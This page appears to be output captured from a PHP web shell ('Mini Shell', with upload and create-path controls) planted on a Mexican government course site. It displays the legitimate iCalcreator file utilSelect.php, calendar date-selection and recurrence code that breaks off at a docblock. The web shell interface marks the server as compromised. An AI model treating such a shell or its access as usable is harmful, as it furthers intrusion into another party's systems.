%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/tjamichg/cursos.tjamich.gob.mx/vendor/kigkonsult/icalcreator/src/util/
Upload File :
Create Path :
Current File : /home/tjamichg/cursos.tjamich.gob.mx/vendor/kigkonsult/icalcreator/src/util/utilSelect.php

<?php
/**
 * iCalcreator, a PHP rfc2445/rfc5545 solution.
 *
 * This file is a part of iCalcreator.
 *
 * Copyright (c) 2007-2017 Kjell-Inge Gustafsson, kigkonsult, All rights reserved
 * Link      http://kigkonsult.se/iCalcreator/index.php
 * Package   iCalcreator
 * Version   2.24
 * License   Subject matter of licence is the software iCalcreator.
 *           The above copyright, link, package and version notices,
 *           this licence notice and the [rfc5545] PRODID as implemented and
 *           invoked in iCalcreator shall be included in all copies or
 *           substantial portions of the iCalcreator.
 *           iCalcreator can be used either under the terms of
 *           a proprietary license, available at <https://kigkonsult.se/>
 *           or the GNU Affero General Public License, version 3:
 *           iCalcreator is free software: you can redistribute it and/or
 *           modify it under the terms of the GNU Affero General Public License
 *           as published by the Free Software Foundation, either version 3 of
 *           the License, or (at your option) any later version.
 *           iCalcreator is distributed in the hope that it will be useful,
 *           but WITHOUT ANY WARRANTY; without even the implied warranty of
 *           MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 *           GNU Affero General Public License for more details.
 *           You should have received a copy of the GNU Affero General Public
 *           License along with this program.
 *           If not, see <http://www.gnu.org/licenses/>.
 */
namespace kigkonsult\iCalcreator\util;
use kigkonsult\iCalcreator\vcalendar;
use kigkonsult\iCalcreator\calendarComponent;
use kigkonsult\iCalcreator\vcalendarSortHandler;
use kigkonsult\iCalcreator\iCaldateTime;
/**
 * iCalcreator geo support class
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.23.6 - 2017-04-14
 */
class utilSelect {
/**
 * Return selected components from calendar on date or selectOption basis
 *
 * DTSTART MUST be set for every component.
 * No check of date.
 * @param object $calendar
 * @param mixed  $startY      (int) start Year,  default current Year
 *                       ALT. (obj) start date (datetime)
 *                       ALT. array selecOptions ( *[ <propName> => <uniqueValue> ] )
 * @param mixed  $startM      (int) start Month, default current Month
 *                       ALT. (obj) end date (datetime)
 * @param int    $startD start Day,   default current Day
 * @param int    $endY   end   Year,  default $startY
 * @param int    $endM   end   Month, default $startM
 * @param int    $endD   end   Day,   default $startD
 * @param mixed  $cType  calendar component type(-s), default false=all else string/array type(-s)
 * @param bool   $flat   false (default) => output : array[Year][Month][Day][]
 *                       true            => output : array[] (ignores split)
 * @param bool   $any    true (default) - select component(-s) that occurs within period
 *                       false          - only component(-s) that starts within period
 * @param bool   $split  true (default) - one component copy every DAY it occurs during the
 *                                        period (implies flat=false)
 *                       false          - one occurance of component only in output array
 * @return mixed array on success, bool false on error
 * @static
 */
  public static function selectComponents( vcalendar $calendar,
                                                     $startY=null,
                                                     $startM=null,
                                                     $startD=null,
                                                     $endY=null,
                                                     $endM=null,
                                                     $endD=null,
                                                     $cType=null,
                                                     $flat=null,
                                                     $any=null,
                                                     $split=null ) {
    static $Y           = 'Y';
    static $M           = 'm';
    static $D           = 'd';
    static $STRTOLOWER  = 'strtolower';
    static $P1D         = 'P1D';
    static $DTENDEXIST  = 'dtendExist';
    static $DUEEXIST    = 'dueExist';
    static $DURATIONEXIST = 'durationExist';
    static $ENDALLDAYEVENT = 'endAllDayEvent';
    static $MINUS1DAY   = '-1 day';
    static $RANGE       = 'RANGE';
    static $THISANDFUTURE = 'THISANDFUTURE';
    static $YMDHIS2     = 'Y-m-d H:i:s';
    static $PRA         = '%a';
    static $YMD2        = 'Y-m-d';
    static $DAYOFDAYS   = 'day %d of %d';
    static $SORTER      = ['kigkonsult\iCalcreator\vcalendarSortHandler',
                           'cmpfcn'];
            /* check  if empty calendar */
    if( 1 > $calendar->countComponents())
      return false;
    if( is_array( $startY ))
      return self::selectComponents2( $calendar, $startY );
            /* check default dates */
    if( util::isDateTimeClass( $startY ) &&
        util::isDateTimeClass( $startM )) {
      $endY      = $startM->format( $Y );
      $endM      = $startM->format( $M );
      $endD      = $startM->format( $D );
      $startD    = $startY->format( $D );
      $startM    = $startY->format( $M );
      $startY    = $startY->format( $Y );
    }
    else {
      if( empty( $startY )) $startY = date( $Y );
      if( empty( $startM )) $startM = date( $M );
      if( empty( $startD )) $startD = date( $D );
      if( empty( $endY ))   $endY   = $startY;
      if( empty( $endM ))   $endM   = $startM;
      if( empty( $endD ))   $endD   = $startD;
    }
            /* check component types */
    if( empty( $cType ))
      $cType     = util::$VCOMPS;
    else {
      if( ! is_array( $cType ))
        $cType   = [$cType];
      $cType     = array_map( $STRTOLOWER, $cType );
      foreach( $cType as $cix => $theType ) {
        if( ! in_array( $theType, util::$VCOMPS ))
          $cType[$cix] = util::$LCVEVENT;
      }
      $cType = array_unique( $cType );
    }
    $flat    = ( is_null( $flat ))  ? false : (bool) $flat; // defaults
    $any     = ( is_null( $any ))   ? true  : (bool) $any;
    $split   = ( is_null( $split )) ? true  : (bool) $split;
    if(( false === $flat ) && ( false === $any )) // invalid combination
      $split = false;
    if(( true === $flat ) && ( true === $split )) // invalid combination
      $split = false;
// echo " args={$startY}-{$startM}-{$startD} - {$endY}-{$endM}-{$endD}, flat={$flat}, any={$any}, split={$split}<br>\n"; $tcnt = 0;// test ###
            /* iterate components */
    $result      = [];
    $calendar->sort( util::$UID );
    $compUIDcmp  = null;
    $exdatelist  = $recurrIdList = [];
    $INTERVAL_P1D = new \DateInterval( $P1D );
// echo ' comp ix : ' . implode( ',', ( array_keys( $calendar->components ))) . "<br>\n"; // test ###
    $cix = -1;
    while( $component = $calendar->getComponent()) {
    $cix += 1;
      if( empty( $component ))
        continue;
            /* deselect unvalid type components */
      if( ! in_array( $component->objName, $cType ))
        continue;
      unset( $compStart, $compEnd );
            /* select start from dtstart or due if dtstart is missing */
      $prop = $component->getProperty( util::$DTSTART,
                                       false,
                                       true );
      if( empty( $prop ) &&
         ( $component->objName == util::$LCVTODO ) &&
         ( false === ( $prop = $component->getProperty( util::$DUE,
                                                        false,
                                                        true ))))
        continue;
      if( empty( $prop ))
        continue;
            /* get UID */
      $compUID   = $component->getProperty( util::$UID );
// echo 'START comp(' . $cix . ') ' . $component->objName . ', UID:' . $compUID . "<br>\n"; // test ###
      if( $compUIDcmp != $compUID ) {
        $compUIDcmp = $compUID;
        $exdatelist = $recurrIdList = [];
      }
// echo "#$cix".PHP_EOL.var_export( $component, true ) . "\n"; // test ###
      $compStart = iCaldateTime::factory( $prop[util::$LCvalue],
                                          $prop[util::$LCparams],
                                          $prop[util::$LCvalue] );
      $dtstartTz = $compStart->getTimezoneName();
      if( util::isParamsValueSet( $prop, util::$DATE ))
        $compStartHis = null;
      else {
        $his = $compStart->getTime();
        $compStartHis = sprintf( util::$HIS, (int) $his[0],
                                             (int) $his[1],
                                             (int) $his[2] );
      }
            /* get end date from dtend/due/duration properties */
      if( false !== ( $prop = $component->getProperty( util::$DTEND,
                                                       false,
                                                       true ))) {
        $compEnd = iCaldateTime::factory( $prop[util::$LCvalue],
                                          $prop[util::$LCparams],
                                          $prop[util::$LCvalue],
                                          $dtstartTz );
        $compEnd->SCbools[$DTENDEXIST] = true;
      }
      if( empty( $prop ) &&
         ( $component->objName == util::$LCVTODO ) &&
         ( false !== ( $prop = $component->getProperty( util::$DUE,
                                                        false,
                                                        true )))) {
        $compEnd = iCaldateTime::factory( $prop[util::$LCvalue],
                                          $prop[util::$LCparams],
                                          $prop[util::$LCvalue],
                                          $dtstartTz );
        $compEnd->SCbools[$DUEEXIST] = true;
      }
      if( empty( $prop ) &&
         ( false !== ( $prop = $component->getProperty( util::$DURATION,
                                                        false,
                                                        true,
                                                        true )))) {
        $compEnd = iCaldateTime::factory( $prop[util::$LCvalue],      // in dtend (array) format
                                          $prop[util::$LCparams],
                                          $prop[util::$LCvalue],
                                          $dtstartTz );
        $compEnd->SCbools[$DURATIONEXIST] = true;
      }
      if( ! empty( $prop ) && ! isset( $prop[util::$LCvalue][util::$LCHOUR] )) {
          /* a DTEND without time part denotes an end of an event that actually ends the day before,
             for an all-day event DTSTART=20071201 DTEND=20071202, taking place 20071201!!! */
        $compEnd->SCbools[$ENDALLDAYEVENT] = true;
        $compEnd->modify( $MINUS1DAY );
        $compEnd->setTime( 23, 59, 59 );
      }
      unset( $prop );
      if( empty( $compEnd )) {
        $compDuration = false;
        $compEnd = clone $compStart;
        $compEnd->setTime( 23, 59, 59 );                  // 23:59:59 the same day as start
      }
      else {
        if( $compEnd->format( $YMD2 ) < $compStart->format( $YMD2 )) { // MUST be after start date!!
          $compEnd = clone $compStart;
          $compEnd->setTime( 23, 59, 59 );                // 23:59:59 the same day as start or ???
        }
        $compDuration = $compStart->diff( $compEnd );     // DateInterval
      }
            /* check recurrence-id (note, a missing sequence is the same as sequence=0
               so don't test for sequence), to alter when hit in dtstart/recurlist */
      $recurrid   = null;
      if( false !== ( $prop = $component->getProperty( util::$RECURRENCE_ID,
                                                       false,
                                                       true ))) {
        $recurrid = iCaldateTime::factory( $prop[util::$LCvalue],
                                           $prop[util::$LCparams],
                                           $prop[util::$LCvalue],
                                           $dtstartTz );
        $rangeSet = ( isset( $prop[util::$LCparams][$RANGE] ) &&
                     ( $THISANDFUTURE == $prop[util::$LCparams][$RANGE] ))
                  ? true : false;
        $recurrIdList[$recurrid->key] = [clone $compStart,
                                         clone $compEnd,
                                         $compDuration,
                                         $rangeSet]; // change recur this day to new YmdHis/duration/range
// echo "adding comp no:$cix with date=".$compStart->format('Y-m-d H:i:s e')." to recurrIdList id={$recurrid->key}, newDate={$compStart->key}<br>\n"; // test ###
        unset( $prop );
        continue;                         // ignore any other props in the component
      } // end recurrence-id/sequence test
// else echo "comp no:$cix with date=".$compStart->format().", NO recurrence-id<br>\n"; // test ###
      ksort( $recurrIdList, SORT_STRING );
// echo 'recurrIdList='.implode(', ', array_keys( $recurrIdList ))."<br>\n"; // test ###
      $fcnStart  = clone $compStart;
      $fcnStart->setDate((int) $startY, (int) $startM, (int) $startD );
      $fcnStart->setTime( 0, 0, 0 );
      $fcnEnd    = clone $compEnd;
      $fcnEnd->setDate((int) $endY, (int) $endM, (int) $endD );
      $fcnEnd->setTime( 23, 59, 59 );
            /* make a list of optional exclude dates for component occurence
               from exrule and exdate */
      $workStart = clone $compStart;
      $workStart->sub( $compDuration ? $compDuration : $INTERVAL_P1D );
      $workEnd   = clone $fcnEnd;
      $workEnd->add(   $compDuration ? $compDuration : $INTERVAL_P1D  );
// echo 'compStart/end:'.$compStart->format( 'YmdHis e' ).' - ' . $compEnd->format( 'YmdHis e' )."<br>\n"; // test ###
// echo '.fcnStart/end:' .$fcnStart->format( 'YmdHis e' ).' - ' . $fcnEnd->format(  'YmdHis e' )."<br>\n"; // test ###
// echo 'workStart/end:'.$workStart->format( 'YmdHis e' ).' - ' . $workEnd->format( 'YmdHis e' )."<br>\n"; // test ###
      self::getAllEXRULEdates( $component, $exdatelist,
                               $dtstartTz, $compStart, $workStart, $workEnd,
                               $compStartHis );
      self::getAllEXDATEdates( $component, $exdatelist, $dtstartTz );
// echo 'exdatelist=' . implode(', ', array_keys( $exdatelist ))  ."<br>\n"; // test ###
            /* select only components within.. . */
      $xRecurrence  = 1;
      if(( ! $any && self::inScope( $compStart, $fcnStart,
                                    $compStart, $fcnEnd,  $compStart->dateFormat )) || // (dt)start within the period
         (   $any && self::inScope( $fcnEnd,    $compStart,
                                    $fcnStart,  $compEnd, $compStart->dateFormat ))) { // occurs within the period
            /* add the selected component (WITHIN valid dates) to output array */
        if( $flat ) { // any=true/false, ignores split
          if( empty( $recurrid ))
            $result[$compUID] = clone $component;         // copy original to output (but not anyone with recurrence-id)
        }
        elseif( $split ) { // split the original component
// echo 'split comp:' . $compStart->format( 'Ymd His e' ) . ', fcn:'.$fcnStart->format( 'Ymd His e' )."<br>\n"; // test ###
          if( $compStart->format( $YMDHIS2 ) < $fcnStart->format( $YMDHIS2 ))
            $rstart = clone $fcnStart;
          else
            $rstart = clone $compStart;
          if( $compEnd->format(   $YMDHIS2 ) > $fcnEnd->format( $YMDHIS2 ))
            $rend   = clone $fcnEnd;
          else
            $rend   = clone $compEnd;
// echo "going to test comp no:$cix, rstart=".$rstart->format( 'YmdHis e' )." (key={$rstart->key}), end=".$rend->format( 'YmdHis e' )."<br>\n"; // test ###
          if( ! isset( $exdatelist[$rstart->key] )) {     // not excluded in exrule/exdate
            if( isset( $recurrIdList[$rstart->key] )) {   // change start day to new YmdHis/duration
              $k        = $rstart->key;
// echo "recurrIdList HIT, key={$k}, recur Date=".$recurrIdList[$k][0]->key."<br>\n"; // test ###
              $rstart   = clone $recurrIdList[$k][0];
              $startHis = $rstart->getTime();
              $rend     = clone $rstart;
              if( false !== $recurrIdList[$k][2] )
                $rend->add( $recurrIdList[$k][2] );
              elseif( false !== $compDuration )
                $rend->add( $compDuration );
              $endHis   = $rend->getTime();
              unset( $recurrIdList[$k] );
            }
            else {
              $startHis = $compStart->getTime();
              $endHis   = $compEnd->getTime();
            }
//echo "_____testing comp no:$cix, rstart=".$rstart->format( 'YmdHis e' )." (key={$rstart->key}), end=".$rend->format( 'YmdHis e' )."<br>\n"; // test ###
            $cnt      = 0; // exclude any recurrence START date, found in exdatelist or recurrIdList but accept the reccurence-id comp itself
            $occurenceDays = 1 + (int) $rstart->diff( $rend )->format( $PRA );  // count the days (incl start day)
            while( $rstart->format( $YMD2 ) <= $rend->format( $YMD2 )) {
              $cnt += 1;
              if( 1 < $occurenceDays )
                $component->setProperty( util::$X_OCCURENCE,
                                         sprintf( $DAYOFDAYS, $cnt,
                                                              $occurenceDays ));
              if( 1 < $cnt )
                $rstart->setTime( 0, 0, 0 );
              else {
                $rstart->setTime( $startHis[0], $startHis[1], $startHis[2] );
                $exdatelist[$rstart->key] = $compDuration; // make sure to exclude start day from the recurrence pattern
              }
              $component->setProperty( util::$X_CURRENT_DTSTART,
                                       $rstart->format( $compStart->dateFormat ));
              $xY = (int) $rstart->format( $Y );
              $xM = (int) $rstart->format( $M );
              $xD = (int) $rstart->format( $D );
              if( false !== $compDuration ) {
                $propName = ( isset( $compEnd->SCbools[$DUEEXIST] ))
                          ? util::$X_CURRENT_DUE : util::$X_CURRENT_DTEND;
                if( $cnt < $occurenceDays )
                  $rstart->setTime( 23, 59, 59 );
                elseif(( $rstart->format( $YMD2 ) < $rend->format( $YMD2 )) &&
                       ( '00' == $endHis[0] ) &&
                       ( '00' == $endHis[1] ) &&
                       ( '00' == $endHis[2] )) // end exactly at midnight
                  $rstart->setTime( 24, 0, 0 );
                else
                  $rstart->setTime( $endHis[0], $endHis[1], $endHis[2] );
                $component->setProperty( $propName,
                                         $rstart->format( $compEnd->dateFormat ));
              }
              $result[$xY][$xM][$xD][$compUID] = clone $component;    // copy to output
              $rstart->add( $INTERVAL_P1D );
            } // end while(( $rstart->format( 'Ymd' ) < $rend->format( 'Ymd' ))
            unset( $cnt, $occurenceDays );
          } // end if( ! isset( $exdatelist[$rstart->key] ))
// else echo "skip no:$cix with date=".$compStart->format()."<br>\n"; // test ###
          unset( $rstart, $rend );
        } // end elseif( $split )   -  else use component date
        else { // !$flat && !$split, i.e. no flat array and DTSTART within period
          $tstart = ( isset( $recurrIdList[$compStart->key] ))
                  ? clone $recurrIdList[$compStart->key][0] : clone $compStart;
// echo "going to test comp no:$cix with checkDate={$compStart->key} with recurrIdList=".implode(',',array_keys($recurrIdList)); // test ###
          if( ! $any || ! isset( $exdatelist[$tstart->key] )) {  // exclude any recurrence date, found in exdatelist
// echo " and copied to output<br>\n"; // test ###
            $xY = (int) $tstart->format( $Y );
            $xM = (int) $tstart->format( $M );
            $xD = (int) $tstart->format( $D );
            $result[$xY][$xM][$xD][$compUID] = clone $component;      // copy to output
          }
          unset( $tstart );
        }
      } // end (dt)start within the period OR occurs within the period
            /* *************************************************************
               if 'any' components, check components with reccurrence rules, removing all excluding dates
               *********************************************************** */
      if( true === $any ) {
        $recurlist = [];
            /* make a list of optional repeating dates for component occurence, rrule, rdate */
        self::getAllRRULEdates( $component, $recurlist,
                                $dtstartTz, $compStart, $workStart, $workEnd,
                                $compStartHis, $exdatelist, $compDuration );
// echo 'recurlist rrule='   .implode(', ', array_keys( $recurlist ))   ."<br>\n"; // test ###
        $workStart    = clone $fcnStart;
        $workStart->sub( $compDuration ? $compDuration : $INTERVAL_P1D );
        self::getAllRDATEdates( $component, $recurlist,
                                $dtstartTz, $workStart, $fcnEnd, $compStart->dateFormat,
                                $exdatelist, $compStartHis, $compDuration );
        unset( $workStart, $rend );
        foreach( $recurrIdList as $rKey => $rVal ) { // check for recurrence-id, i.e. alter recur Ymd[His] and duration
          if( isset( $recurlist[$rKey] )) {
            unset( $recurlist[$rKey] );
            $recurlist[$rVal[0]->key] = ( false !== $rVal[2] )
                                      ? $rVal[2] : $compDuration;
// echo "alter recurfrom {$rKey} to {$rVal[0]->key} ";if(false!==$dur)echo " ({$dur->format( '%a days, %h-%i-%s' )})";echo "<br>\n"; // test ###
          }
        }
        ksort( $recurlist, SORT_STRING );
// echo 'recurlist rrule/rdate='   .implode(', ', array_keys( $recurlist ))   ."<br>\n"; // test ###
// echo 'recurrIdList='   .implode(', ', array_keys( $recurrIdList ))   ."<br>\n"; // test ###
            /* output all remaining components in recurlist */
        if( 0 < count( $recurlist )) {
          $component2  = clone $component;
          $compUID     = $component2->getProperty( util::$UID );
          $workStart   = clone $fcnStart;
          $workStart->sub( $compDuration ? $compDuration : $INTERVAL_P1D );
          $YmdOld      = null;
          foreach( $recurlist as $recurkey => $durvalue ) {
            if( $YmdOld == substr( $recurkey, 0, 8 ))     // skip overlapping recur the same day, i.e. RDATE before RRULE
              continue;
            $YmdOld    = substr( $recurkey, 0, 8 );
            $rstart    = clone $compStart;
            $rstart->setDate((int) substr( $recurkey,  0, 4 ),
                             (int) substr( $recurkey,  4, 2 ),
                             (int) substr( $recurkey,  6, 2 ));
            $rstart->setTime((int) substr( $recurkey,  8, 2 ),
                             (int) substr( $recurkey, 10, 2 ),
                             (int) substr( $recurkey, 12, 2 ));
// echo "recur start=".$rstart->format( 'Y-m-d H:i:s e' )."<br>\n"; // test ###;
           /* add recurring components within valid dates to output array, only start date set */
            if( $flat ) {
              if( ! isset( $result[$compUID] )) // only one comp
                $result[$compUID] = clone $component2;  // copy to output
            }
           /* add recurring components within valid dates to output array, split for each day */
            elseif( $split ) {
              $rend     = clone $rstart;
              if( false !== $durvalue )
                $rend->add( $durvalue );
              if( $rend->format( $YMD2 ) > $fcnEnd->format( $YMD2 ))
                $rend   = clone $fcnEnd;
              $endHis   = $rend->getTime();
// echo "recur 1={$recurkey}, start=".$rstart->format( 'YmdHis e' ).", end=".$rend->format( util::$YMDHISE );if($durvalue) echo ", duration=".$durvalue->format( '%a days, %h hours, %i min, %s sec' );echo "<br>\n"; // test ###
              $xRecurrence += 1;
              $cnt      = 0;
              $occurenceDays = 1 + (int) $rstart->diff( $rend )->format( $PRA );  // count the days (incl start day)
              while( $rstart->format( $YMD2 ) <= $rend->format( $YMD2 )) {   // iterate.. .
                $cnt   += 1;
                if( $rstart->format( $YMD2 ) < $fcnStart->format( $YMD2 )) { // date before dtstart
// echo "recur 3, start=".$rstart->format( 'YmdHis e' )." &gt;= fcnStart=".$fcnStart->format( 'YmdHis e' )."<br>\n"; // test ###
                  $rstart->add( $INTERVAL_P1D ); // cycle rstart to dtstart
                  $rstart->setTime( 0, 0, 0 );
                  continue;
                }
                elseif( 2 == $cnt )
                  $rstart->setTime( 0, 0, 0 );
                $component2->setProperty(      util::$X_RECURRENCE,
                                               $xRecurrence );
                if( 1 < $occurenceDays )
                  $component2->setProperty(    util::$X_OCCURENCE,
                                               sprintf( $DAYOFDAYS, $cnt, $occurenceDays ));
                else
                  $component2->deleteProperty( util::$X_OCCURENCE );
                $component2->setProperty(      util::$X_CURRENT_DTSTART,
                                               $rstart->format( $compStart->dateFormat ));
                $xY = (int) $rstart->format( $Y );
                $xM = (int) $rstart->format( $M );
                $xD = (int) $rstart->format( $D );
                $propName = ( isset( $compEnd->SCbools[$DUEEXIST] ))
                          ? util::$X_CURRENT_DUE : util::$X_CURRENT_DTEND;
                if( false !== $durvalue ) {
                  if( $cnt < $occurenceDays )
                    $rstart->setTime( 23, 59, 59 );
                  elseif(( $rstart->format( $YMD2 ) < $rend->format( $YMD2 )) &&
                         ( '00' == $endHis[0] ) && ( '00' == $endHis[1] ) && ( '00' == $endHis[2] )) // end exactly at midnight
                  $rstart->setTime( 24, 0, 0 );
                  else
                    $rstart->setTime( $endHis[0], $endHis[1], $endHis[2] );
                  $component2->setProperty( $propName,
                                            $rstart->format( $compEnd->dateFormat ));
// echo "checking date, (day {$cnt} of {$occurenceDays}), _end_=".$rstart->format( 'YmdHis e' )."<br>"; // test ###;
                }
                else
                  $component2->deleteProperty( $propName );
                $result[$xY][$xM][$xD][$compUID] = clone $component2;     // copy to output
                $rstart->add( $INTERVAL_P1D );
              } // end while( $rstart->format( 'Ymd' ) <= $rend->format( 'Ymd' ))
              unset( $rstart, $rend );
            } // end elseif( $split )
            elseif( $rstart->format( $YMD2 ) >= $fcnStart->format( $YMD2 )) {
              $xRecurrence += 1;                                            // date within period, flat=false && split=false => one comp every recur startdate
              $component2->setProperty( util::$X_RECURRENCE,
                                        $xRecurrence );
              $component2->setProperty( util::$X_CURRENT_DTSTART,
                                        $rstart->format( $compStart->dateFormat ));
              $propName   = ( isset( $compEnd->SCbools[$DUEEXIST] ))
                          ? util::$X_CURRENT_DUE : util::$X_CURRENT_DTEND;
              if( false !== $durvalue ) {
                $rstart->add( $durvalue );
                $component2->setProperty( $propName,
                                          $rstart->format( $compEnd->dateFormat ));
              }
              else
                $component2->deleteProperty( $propName );
              $xY = (int) $rstart->format( $Y );
              $xM = (int) $rstart->format( $M );
              $xD = (int) $rstart->format( $D );
              $result[$xY][$xM][$xD][$compUID] = clone $component2; // copy to output
            } // end elseif( $rstart >= $fcnStart )
            unset( $rstart );
          } // end foreach( $recurlist as $recurkey => $durvalue )
          unset( $component2, $xRecurrence, $compUID, $workStart, $rstart );
        } // end if( 0 < count( $recurlist ))
      } // end if( true === $any )
      unset( $component );
    } // end while( $component = $calendar->getComponent())
    if( 0 >= count( $result ))
      return false;
    elseif( ! $flat ) {
      foreach(  $result as $y => $yList ) {
        foreach( $yList as $m => $mList ) {
          foreach( $mList as $d => $dList ) {
            if( empty( $dList ))
                unset( $result[$y][$m][$d] );
            else {
              $result[$y][$m][$d] = array_values( $dList ); // skip tricky UID-index
              if( 1 < count( $result[$y][$m][$d] )) {
                foreach( $result[$y][$m][$d] as $cix => $d2List )   // sort
                  vcalendarSortHandler::setSortArgs( $result[$y][$m][$d][$cix] );
                usort( $result[$y][$m][$d], $SORTER );
              }
            }
          } // end foreach( $mList as $d => $dList )
          if( empty( $result[$y][$m] ))
              unset( $result[$y][$m] );
          else
            ksort( $result[$y][$m] );
        } // end foreach( $yList as $m => $mList )
        if( empty( $result[$y] ))
            unset( $result[$y] );
        else
          ksort( $result[$y] );
      } // end foreach(  $result as $y => $yList )
      if( empty( $result ))
          unset( $result );
      else
        ksort( $result );
    } // end elseif( !$flat )
    if( 0 >= count( $result ))
      return false;
    return $result;
  }
/**
 * Return bool true if dates are in scope
 *
 * @param iCaldateTime $start
 * @param iCaldateTime $scopeStart
 * @param iCaldateTime $end
 * @param iCaldateTime $scopeEnd
 * @param string       $format
 * @return bool
 * @access private
 * @static
 */
  private static function inScope( iCaldateTime $start,
                                   iCaldateTime $scopeStart,
                                   iCaldateTime $end,
                                   iCaldateTime $scopeEnd,
                                   $format ) {
    return (( $start->format( $format ) >= $scopeStart->format( $format )) &&
            ( $end->format(   $format ) <= $scopeEnd->format(   $format )));
  }
/**
 * Get all EXRULE dates (multiple values allowed)
 *
 * @param calendarComponent $component
 * @param array             $exdatelist
 * @param string            $dtstartTz
 * @param iCaldateTime      $compStart
 * @param iCaldateTime      $workStart
 * @param iCaldateTime      $workEnd
 * @param string            $compStartHis
 */
  private static function getAllEXRULEdates( calendarComponent $component,
                                             array & $exdatelist,
                                             $dtstartTz,
                                             iCaldateTime $compStart,
                                             iCaldateTime $workStart,
                                             iCaldateTime $workEnd,
                                             $compStartHis ) {
    while( false !== ( $prop = $component->getProperty( util::$EXRULE  ))) {
      $exdatelist2 = [];
      if( isset( $prop[util::$UNTIL][util::$LCHOUR] )) { // convert UNTIL date to DTSTART timezone
        $until = iCaldateTime::factory( $prop[util::$UNTIL],
                                        [util::$TZID => util::$UTC],
                                        null,
                                        $dtstartTz );
        $until = $until->format();
        util::strDate2arr( $until );
        $prop[util::$UNTIL] = $until;
      }
      utilRecur::recur2date( $exdatelist2,
                             $prop,
                             $compStart,
                             $workStart,
                             $workEnd );
      foreach( $exdatelist2 as $k => $v ) // point out exact every excluded ocurrence (incl. opt. His)
        $exdatelist[$k.$compStartHis] = $v;
      unset( $until, $exdatelist2 );
    }
    return true;
  }
/**
 * Get all EXDATE dates (multiple values allowed)
 *
 * @param calendarComponent $component
 * @param array             $exdatelist
 * @param string            $dtstartTz
 */
  private static function getAllEXDATEdates( calendarComponent $component,
                                             array & $exdatelist,
                                             $dtstartTz ) {
    while( false !== ( $prop = $component->getProperty( util::$EXDATE,
                                                        false,
                                                        true ))) {
      foreach( $prop[util::$LCvalue] as $exdate ) {
        $exdate  = iCaldateTime::factory( $exdate,
                                          $prop[util::$LCparams],
                                          $exdate,
                                          $dtstartTz );
        $exdatelist[$exdate->key] = true;
      } // end - foreach( $exdate as $exdate )
    }
    return true;
  }
/**
 * Update $recurlist all RRULE dates (multiple values allowed)
 *
 * @param calendarComponent $component
 * @param array             $recurlist
 * @param string            $dtstartTz
 * @param iCaldateTime      $compStart
 * @param iCaldateTime      $workStart
 * @param iCaldateTime      $workEnd
 * @param string $compStartHis
 * @param array  $exdatelist
 * @param object $compDuration
 */
  private static function getAllRRULEdates( calendarComponent $component,
                                            array & $recurlist,
                                            $dtstartTz,
                                            iCaldateTime $compStart,
                                            iCaldateTime$workStart,
                                            iCaldateTime $workEnd,
                                            $compStartHis,
                                            array $exdatelist,
                                            $compDuration ) {
    while( false !== ( $prop = $component->getProperty( util::$RRULE ))) {
      $recurlist2 = [];
      if( isset( $prop[util::$UNTIL][util::$LCHOUR] )) { // convert RRULE['UNTIL'] to the same timezone as DTSTART !!
        $until = iCaldateTime::factory( $prop[util::$UNTIL],
                                        [util::$TZID => util::$UTC],
                                        null,
                                        $dtstartTz );
        $until = $until->format();
        util::strDate2arr( $until );
        $prop[util::$UNTIL] = $until;
      }
      utilRecur::recur2date( $recurlist2,
                             $prop,
                             $compStart,
                             $workStart,
                             $workEnd );
      foreach( $recurlist2 as $recurkey => $recurvalue ) { // recurkey=Ymd
        $recurkey .= $compStartHis;                   // add opt His
        if( ! isset( $exdatelist[$recurkey] ))
          $recurlist[$recurkey] = $compDuration;      // DateInterval or false
      }
      unset( $prop, $until, $recurlist2 );
    }
    return true;
  }
/**
 * Update $recurlist with RDATE dates (multiple values allowed)
 *
 * @param calendarComponent $component
 * @param array             $recurlist
 * @param string            $dtstartTz
 * @param iCaldateTime      $workStart
 * @param iCaldateTime      $fcnEnd
 * @param string            $format
 * @param array             $exdatelist
 * @param string            $compStartHis
 * @param object            $compDuration
 */
  private static function getAllRDATEdates( calendarComponent $component,
                                            array & $recurlist,
                                            $dtstartTz,
                                            iCaldateTime $workStart,
                                            iCaldateTime $fcnEnd,
                                            $format,
                                            array $exdatelist,
                                            $compStartHis,
                                            $compDuration ) {
    while( false !== ( $prop = $component->getProperty( util::$RDATE,
                                                        false,
                                                        true ))) {
      $rdateFmt   = ( isset( $prop[util::$LCparams][util::$VALUE] ))
                           ? $prop[util::$LCparams][util::$VALUE]
                           : util::$DATE_TIME;
      $params     = $prop[util::$LCparams];
      $prop       = $prop[util::$LCvalue];
      foreach( $prop as $rix => $theRdate ) {
        if( util::$PERIOD == $rdateFmt ) {            // all days within PERIOD
          $rdate = iCaldateTime::factory( $theRdate[0],
                                          $params,
                                          $theRdate[0],
                                          $dtstartTz );
          if( ! self::inScope( $rdate, $workStart, $rdate, $fcnEnd, $format ) ||
                isset( $exdatelist[$rdate->key] ))
            continue;
          if( isset( $theRdate[1][util::$LCYEAR] ))   // date-date period end
            $recurlist[$rdate->key] = $rdate->diff( iCaldateTime::factory( $theRdate[1],
                                                                           $params,
                                                                           $theRdate[1],
                                                                           $dtstartTz ));
          else                                        // period duration
            $recurlist[$rdate->key] = new \DateInterval( util::duration2str( $theRdate[1] ));
        } // end if( util::$PERIOD == $rdateFmt )
        elseif( util::$DATE == $rdateFmt ) {          // single recurrence, DATE
          $rdate  = iCaldateTime::factory( $theRdate,
                                           array_merge( $params,
                                                        [util::$TZID => $dtstartTz] ),
                                           null,
                                           $dtstartTz );
          if( self::inScope( $rdate, $workStart, $rdate, $fcnEnd, $format ) &&
              ! isset( $exdatelist[$rdate->key] )) // set start date for recurrence + DateInterval/false (+opt His)
            $recurlist[$rdate->key.$compStartHis] = $compDuration;
        } // end DATE
        else { // start DATETIME
          $rdate = iCaldateTime::factory( $theRdate,
                                          $params,
                                          $theRdate,
                                          $dtstartTz );
          if( self::inScope( $rdate, $workStart, $rdate, $fcnEnd, $format ) &&
                    ! isset( $exdatelist[$rdate->key] ))
            $recurlist[$rdate->key] = $compDuration;  // set start datetime for recurrence DateInterval/false
        } // end DATETIME
      } // end foreach( $prop as $rix => $theRdate )
    }  // end while( false !== ( $prop = $component->getProperty( util::$RDATE, false, true )))
    return true;
  }
/**
 * Return array with selected components values from calendar based on specific property value(-s)
 *
 * @param vcalendar $calendar
